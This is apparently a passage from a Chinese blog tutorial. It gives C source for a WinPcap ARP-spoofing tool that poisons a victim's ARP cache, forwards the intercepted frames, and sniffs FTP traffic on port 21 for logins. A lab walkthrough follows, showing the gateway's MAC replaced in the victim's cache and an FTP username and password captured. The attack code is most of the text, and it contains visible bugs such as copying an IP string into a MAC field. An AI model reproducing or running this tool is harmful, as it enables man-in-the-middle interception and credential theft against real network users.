IPHeader=(IP *)(Packet+sizeof(DLCHEADER));
TCPHeader=(TCP *)(Packet+sizeof(DLCHEADER)+sizeof(IP));
if(!strncmp(DLCHeader->SrcMAC,PI.srcMAC,6) && !strncmp(DLCHeader->DesMAC,PI.myMAC,6))
{
memcpy(DLCHeader->DesMAC,PI.desMAC,6);
SendPacket(PI.hpcap,Packet,PI.pkthdr.caplen); //转发数据包
}
//检测帧中数据协议类型
if(ntohs(DLCHeader->EtherType)==0x0800 && IPHeader->ip_p==0x06)
{
if(ntohs(TCPHeader->dport)==21) FTP_Sniffer(IPHeader,PI.pkthdr.caplen-sizeof(DLCHEADER)); //捕获到FTP数据包
}
free(Packet);
return 0;
}
DWORD WINAPI Ether_Sniffer(PVOID Parameter)
{
PacketInfo PI=*(PacketInfo *)Parameter;
pcap_t *hpcap=PI.hpcap;
struct pcap_pkthdr *pkthdr=NULL;
char *recvBuff;
HANDLE hFilterThread;
while(TRUE)
{
if(pcap_next_ex(hpcap,&pkthdr,&recvBuff)>0)
{
PI.Packet=&recvBuff;
PI.pkthdr=*pkthdr;
CloseHandle((hFilterThread=CreateThread(NULL,0,filter,(PVOID)&PI,0,NULL)));
while(recvBuff);
}
}
return 0;
}
BOOL SendPacket(pcap_t *hpcap,char *Packet,int packetsize)
{
if(pcap_sendpacket(hpcap,Packet,packetsize)!=0)
{
printf(“数据包发送失败。\n”);
return ERROR;
}
return TRUE;
}
pcap_t *OpenAdapter(char *devName)
{
pcap_t *hpcap=NULL;
char errbuf[PCAP_ERRBUF_SIZE];
if((hpcap=pcap_open_live(devName, // 设备名
65536, // 指定要捕捉的数据包的部分,65536 保证所有在链路层上的包都能够被抓到
1, // 混杂模式
1000, // 读数据的超时时间
errbuf // 错误缓冲区
))==NULL)
{
printf(“打开网卡出错。\n”);
return NULL;
}
return hpcap;
}
//A>>>>>单向欺骗>>>>>>B
void Input(char *A_MAC,char *A_IP,char *B_MAC,char *B_IP)
{
printf(“A>>>>>单向欺骗>>>>>>B\n”);
printf(“请输入A主机的MAC:”);
fflush(stdin);
if(scanf(“%x-%x-%x-%x-%x-%x”,&A_MAC[0],&A_MAC[1],&A_MAC[2],&A_MAC[3],&A_MAC[4],&A_MAC[5])!=6) exit(-1);
printf(“请输入A主机的IP:”);
fflush(stdin);
gets(A_IP);
printf(“请输入B主机的MAC:”);
fflush(stdin);
if(scanf(“%x-%x-%x-%x-%x-%x”,&B_MAC[0],&B_MAC[1],&B_MAC[2],&B_MAC[3],&B_MAC[4],&B_MAC[5])!=6) exit(-1);
printf(“请输入B主机的IP:”);
fflush(stdin);
gets(B_IP);
}
int main(int argc,char *argv[])
{
char devName[100];
char myIPAddress[15],myMAC[6];
char ARPPacket[42];
char A_IP[15]= {0},A_MAC[6]= {0};
char B_IP[15]= {0},B_MAC[6]= {0};
pcap_t *hpcap=NULL;
HANDLE hSnifferThread;
PacketInfo PI;
unsigned long A_addr,B_addr;
if(ChooseDev(devName,sizeof(devName),myIPAddress)!=TRUE)
{
printf(“获取网卡失败。\n”);
getch();
return -1;
}
//获取本机网卡MAC
if(GetAdapterMAC(myIPAddress,myMAC)!=TRUE)
{
printf(“获取网卡MAC失败。\n”);
getch();
return -1;
}
//打开网卡
if((hpcap=OpenAdapter(devName))==NULL)
{
printf(“网卡打开出错。\n”);
getch();
return -1;
}
//输入欺骗主机信息 A>>>>>单向欺骗>>>>>>B
Input(A_MAC,A_IP,B_MAC,B_IP);
A_addr=inet_addr(A_IP);
B_addr=inet_addr(B_IP);
//以ARP应答的方式欺骗主机A
Fill_ARPPACKET(ARPPacket,sizeof(ARPPacket),A_MAC,(char *)&A_addr,myMAC,(char *)&B_addr,2);
//填充传递参数
PI.hpcap=hpcap;
memcpy(PI.srcMAC,A_IP,6);
memcpy(PI.desIP,(char *)&B_addr,4);
memcpy(PI.desMAC,B_MAC,6);
memcpy(PI.srcIP,(char *)&A_addr,4);
memcpy(PI.myIP,myIPAddress,4);
memcpy(PI.myMAC,myMAC,6);
//开启嗅探线程
CloseHandle((hSnifferThread=CreateThread(NULL,0,Ether_Sniffer,(PVOID)&PI,0,NULL)));
while(1)
{
Sleep(1000);
SendPacket(hpcap,ARPPacket,sizeof(ARPPacket)); //发送ARP欺骗包
}
return 0;
}
下面来做一个实验,在同一网关(MAC:c8-3a-35-39-38-b0,IP:192.168.0.1)下有A(MAC:00-26-C7-3D-3A-4A,IP:192.168.0.100),B(MAC:00-0c-29-06-
8c-51,IP:192.168.0.101)两台主机,若A想用程序实现单向欺骗A主机到网关的数据,看图中所示填写的方式:
程序开始欺骗后我们在B主机上运行抓包工具看看抓取到的ARP包:
由此可见B主机不断的收到了来自A的ARP应答包,打开其中一看看看具体内容:
在“ARP-地址解析协议”那一项中看见“源物理地址”和“源IP地址”那错误的对应关系了吗?再看看B主机的ARP缓存表:
网关MAC已经被成功替换为A主机的MAC了,这样A主机向网关发送的数据都会流经A主机了。
下面我们在B主机上尝试访问一下一个FTP服务器:
输入账号和密码后我们点击登陆,在A主机上运行抓包工具看看捕获到的数据:
由此可见,B主机访问FTP的数据包被成功的欺骗过来了,我们再去看看自己写的程序有没有什么反应:
哈哈,已经成功的将B发送给FTP服务器的账号和密码截获下来了。
文章到此结束,由于小菜水平有限,如果文中有什么写错的地方欢迎各位看官批评指正。
1 comment
赞一个 [F1]